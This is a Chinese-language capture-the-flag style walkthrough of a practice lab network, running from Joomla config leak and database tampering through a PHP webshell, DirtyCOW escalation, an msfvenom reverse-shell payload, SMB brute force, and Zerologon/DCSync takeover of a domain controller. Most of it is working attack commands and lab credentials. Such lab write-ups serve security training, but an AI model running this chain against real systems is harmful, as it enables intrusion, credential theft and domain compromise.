红日靶场三
外围打点
进靶场首先拿到靶场IP 192.168.111.20 用nmap扫描开放的端口:
nmap -sS 192.168.111.20 -T4

开放了22, 80 和3306,访问80看跑的是什么服务

可以看到是用Joomla搭的CMS,有登录功能,尝试了常见的弱密码都无果,考虑用dirsearch扫一下试试
dirsearch -u 192.168.111.20

可以看到扫到了/configuration.php~
configuration.php文件是Joomla的配置文件,而configuration.php~ 文件是在编辑 configuration.php 文件时产生的,它包含与原始 configuration.php 完全相同的 PHP 源代码,其中可能包含数据库密码、API 密钥等敏感信息,Web 服务器通常不会将 .php~ 文件作为 PHP 脚本执行,而是会以纯文本形式直接输出其内容。这意味着,如果该文件位于网站可访问的目录下,攻击者可直接在浏览器中访问并查看所有配置信息。
//configuration.php~
<?php
class JConfig {
public $offline = '0';
public $offline_message = '网站正在维护。<br />请稍候访问。';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'test';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $debug_lang_const = '1';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $live_site = '';
public $secret = 'gXN9Wbpk7ef3A4Ys';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
public $ftp_host = '';
public $ftp_port = '';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'test@test.com';
public $fromname = 'test';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = '';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';
}
?>
可以看到这里使用的是mySQL,用户名是testuser,密码cvcvgjASD!@
用用户名密码可以登录数据库
可以使用
mysql -h 192.168.111.20 -u testuser -p
来登录远程数据库,这里报错ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it的原因是目标服务器的 MySQL 服务没有开启或支持 SSL,导致客户端拒绝建立不安全的连接。所以需要加上--skip-ssl参数来临时禁用SSL
mysql -h 192.168.111.20 -u testuser -P 3306 -p --skip-ssl

登录之后先查数据库 show databases;

查看权限 SHOW GRANTS;

只对 joomla有完整权限,由于没有全局root,导致不能使用常规的方法(比如向日志中写webshell)来写webshell
所以考虑其他思路获取webshell
先翻下数据库
use joomla; 切换到 joomla 表,然后show tables;查表

+-------------------------------+
| Tables_in_joomla |
+-------------------------------+
| am2zu_action_log_config |
| am2zu_action_logs |
| am2zu_action_logs_extensions |
| am2zu_action_logs_users |
| am2zu_assets |
| am2zu_associations |
| am2zu_banner_clients |
| am2zu_banner_tracks |
| am2zu_banners |
| am2zu_categories |
| am2zu_contact_details |
| am2zu_content |
| am2zu_content_frontpage |
| am2zu_content_rating |
| am2zu_content_types |
| am2zu_contentitem_tag_map |
| am2zu_core_log_searches |
| am2zu_extensions |
| am2zu_fields |
| am2zu_fields_categories |
| am2zu_fields_groups |
| am2zu_fields_values |
| am2zu_finder_filters |
| am2zu_finder_links |
| am2zu_finder_links_terms0 |
| am2zu_finder_links_terms1 |
| am2zu_finder_links_terms2 |
| am2zu_finder_links_terms3 |
| am2zu_finder_links_terms4 |
| am2zu_finder_links_terms5 |
| am2zu_finder_links_terms6 |
| am2zu_finder_links_terms7 |
| am2zu_finder_links_terms8 |
| am2zu_finder_links_terms9 |
| am2zu_finder_links_termsa |
| am2zu_finder_links_termsb |
| am2zu_finder_links_termsc |
| am2zu_finder_links_termsd |
| am2zu_finder_links_termse |
| am2zu_finder_links_termsf |
| am2zu_finder_taxonomy |
| am2zu_finder_taxonomy_map |
| am2zu_finder_terms |
| am2zu_finder_terms_common |
| am2zu_finder_tokens |
| am2zu_finder_tokens_aggregate |
| am2zu_finder_types |
| am2zu_languages |
| am2zu_menu |
| am2zu_menu_types |
| am2zu_messages |
| am2zu_messages_cfg |
| am2zu_modules |
| am2zu_modules_menu |
| am2zu_newsfeeds |
| am2zu_overrider |
| am2zu_postinstall_messages |
| am2zu_privacy_consents |
| am2zu_privacy_requests |
| am2zu_redirect_links |
| am2zu_schemas |
| am2zu_session |
| am2zu_tags |
| am2zu_template_styles |
| am2zu_ucm_base |
| am2zu_ucm_content |
| am2zu_ucm_history |
| am2zu_update_sites |
| am2zu_update_sites_extensions |
| am2zu_updates |
| am2zu_user_keys |
| am2zu_user_notes |
| am2zu_user_profiles |
| am2zu_user_usergroup_map |
| am2zu_usergroups |
| am2zu_users |
| am2zu_utf8_conversion |
| am2zu_viewlevels |
| umnbt_action_log_config |
| umnbt_action_logs |
| umnbt_action_logs_extensions |
| umnbt_action_logs_users |
| umnbt_assets |
| umnbt_associations |
| umnbt_banner_clients |
| umnbt_banner_tracks |
| umnbt_banners |
| umnbt_categories |
| umnbt_contact_details |
| umnbt_content |
| umnbt_content_frontpage |
| umnbt_content_rating |
| umnbt_content_types |
| umnbt_contentitem_tag_map |
| umnbt_core_log_searches |
| umnbt_extensions |
| umnbt_fields |
| umnbt_fields_categories |
| umnbt_fields_groups |
| umnbt_fields_values |
| umnbt_finder_filters |
| umnbt_finder_links |
| umnbt_finder_links_terms0 |
| umnbt_finder_links_terms1 |
| umnbt_finder_links_terms2 |
| umnbt_finder_links_terms3 |
| umnbt_finder_links_terms4 |
| umnbt_finder_links_terms5 |
| umnbt_finder_links_terms6 |
| umnbt_finder_links_terms7 |
| umnbt_finder_links_terms8 |
| umnbt_finder_links_terms9 |
| umnbt_finder_links_termsa |
| umnbt_finder_links_termsb |
| umnbt_finder_links_termsc |
| umnbt_finder_links_termsd |
| umnbt_finder_links_termse |
| umnbt_finder_links_termsf |
| umnbt_finder_taxonomy |
| umnbt_finder_taxonomy_map |
| umnbt_finder_terms |
| umnbt_finder_terms_common |
| umnbt_finder_tokens |
| umnbt_finder_tokens_aggregate |
| umnbt_finder_types |
| umnbt_languages |
| umnbt_menu |
| umnbt_menu_types |
| umnbt_messages |
| umnbt_messages_cfg |
| umnbt_modules |
| umnbt_modules_menu |
| umnbt_newsfeeds |
| umnbt_overrider |
| umnbt_postinstall_messages |
| umnbt_privacy_consents |
| umnbt_privacy_requests |
| umnbt_redirect_links |
| umnbt_schemas |
| umnbt_session |
| umnbt_tags |
| umnbt_template_styles |
| umnbt_ucm_base |
| umnbt_ucm_content |
| umnbt_ucm_history |
| umnbt_update_sites |
| umnbt_update_sites_extensions |
| umnbt_updates |
| umnbt_user_keys |
| umnbt_user_notes |
| umnbt_user_profiles |
| umnbt_user_usergroup_map |
| umnbt_usergroups |
| umnbt_users |
| umnbt_utf8_conversion |
| umnbt_viewlevels |
+-------------------------------+
156 rows in set (0.071 sec)
可以看到有一个am2zu_users 表
查这个表中的列名 show columns from am2zu_users;

查下用户密码 select id, name, username, password from am2zu_users;

前面diesearch扫到了/administrator

现在拿到了用户名对应的密码hash
一般来说可以尝试利用 hashcat 破解
hashcat creds /usr/share/wordlists/rockyou.txt --username -m 3200
hashcat creds /usr/share/wordlists/rockyou.txt --username -m 3200 --show
但这里破解失败了,在 joomla 的官方文档中有规定修改密码的操作
根据它的 Method2,可以重置密码
┌──(kali㉿kali)-[~]
└─$ php -r "echo password_hash('admin@123', PASSWORD_BCRYPT), PHP_EOL;"
$2y$12$EElLZG.KfqIJMM7zyIWfXOa8Jl0ojN9HwQ7Y1xexJ780g15HNY.0S
生成一个密码hash,然后用我们生成的密码哈希替换原来的hash值,就可以篡改密码了
update am2zu_users set password = "$2y$12$Rvph3unK0oEY9MKKkvyMYumfi0A8foqYI1DdOkccHuh5vV.5X4X
Ru" where username="administrator";

现在我们已经成功把密码修改成admin@123了,现在登录joomla后台

joomla后台管理模板处可以编辑PHP代码,可以在那里插入我们的webshell

两个模板随便选一个,不过后面要注意路径名


写入webshell点击保存就可以了
可以跑一下phpinfo来验证一下写成功了没
curl -X POST -d "cmd=phpinfo();" -u "administrator:admin@123" http://192.168.111.20/templates/protostar/index.php > index.html

可以看到写成功了,但是这里ban掉了很多命令执行函数,这里要做一下绕过,不然可能会有点麻烦
先连到蚁剑,然后在插件市场可以找到下面这个插件,我这里已经下好了

然后


点击开始,就可以成功绕过了

经过翻找服务器文件,在/tmp/mysql/test.txt找到了ssh的账户密码

然后就可以ssh登录了,由于靶机上的ssh版本太旧了,所以需要加上-o HostKeyAlgorithms=+ssh-rsa才可以
ssh wwwuser@192.168.111.20 -o HostKeyAlgorithms=+ssh-rsa

由于wwwuser是低权限用户,所以这里要提权
[wwwuser@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
linux 2.6.32 内核可以用脏牛(dirtycow)提权,kali里有现成的利用脚本
searchsploit dirty cow

searchsploit dirty cow -m 40839

然后用scp把脏牛脚本传到服务器上
scp -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
40839.c wwwuser@192.168.111.20:/home/wwwuser


提权成功
内网渗透
接下来可以上线msf进行内网渗透了,生成一个木马,
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.111.25 lport=32222 -f elf > payload.elf
同样用scp上传

然后msf监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 32222
run
运行木马

回连

扫一下内网存活主机
先添加内网路由:
use post/multi/manage/autoroute
show options
set session 1
run

很多WP上都和上面一样用msf自带的udp模块来扫描,但我实操下来发现很不稳定,所以这里换成上传一个fscan来进行扫描

可以看到探测到了192.168.93.10,192.168.93.20, 192.168.93.30三台主机
挨个扫一下



直接扫出来 192.168.93.10 看起来像域控,192.168.93.20是一台windows 2008,192.168.93.30是一台win7
同时发现都开了445端口,使用的时候感觉fscan准确率不高,最好多扫几次
先尝试打一下win7的smb
配置socks代理:
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j
爆破密码
proxychains4 hydra -l administrator -P '/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt' smb://192.168.93.30

爆破到密码了
再爆破凭据
use auxiliary/scanner/smb/smb_login
set smbuser administrator
set pass_file /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt
run

横向
接下来利用smb横向
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD
run
这个发现不好拿shell,直接用wmiexec.py
proxychains python3 wmiexec-pro.py 'Administrator:123qwe!ASD@192.168.93.30' exec-command -shell


已经是system了,但这里只能通过上传mimikatz的方式来steal token,先放一放,看看192.168.93.20
发现可以用同样的密码登录192.168.93.20

同样是system

所以域控ip是192.168.93.10,域管理员用户名Administrator
然后可以开始横向到域控了
load kiwi
kiwi_cmd sekurlsa::logonpasswords
kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$
#攻击
kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$ /exploit
#攻击成功转出hash值
kiwi_cmd lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test /authpassword:"" /authntlm

得到域控administrator用户的ntlmhash 然后用wmiexec直接登录
proxychains uv run python wmiexec.py -hashes :18edd0cc3227be3bf61ce198835a1d97 Administrator@192.168.93.10

渗透结束。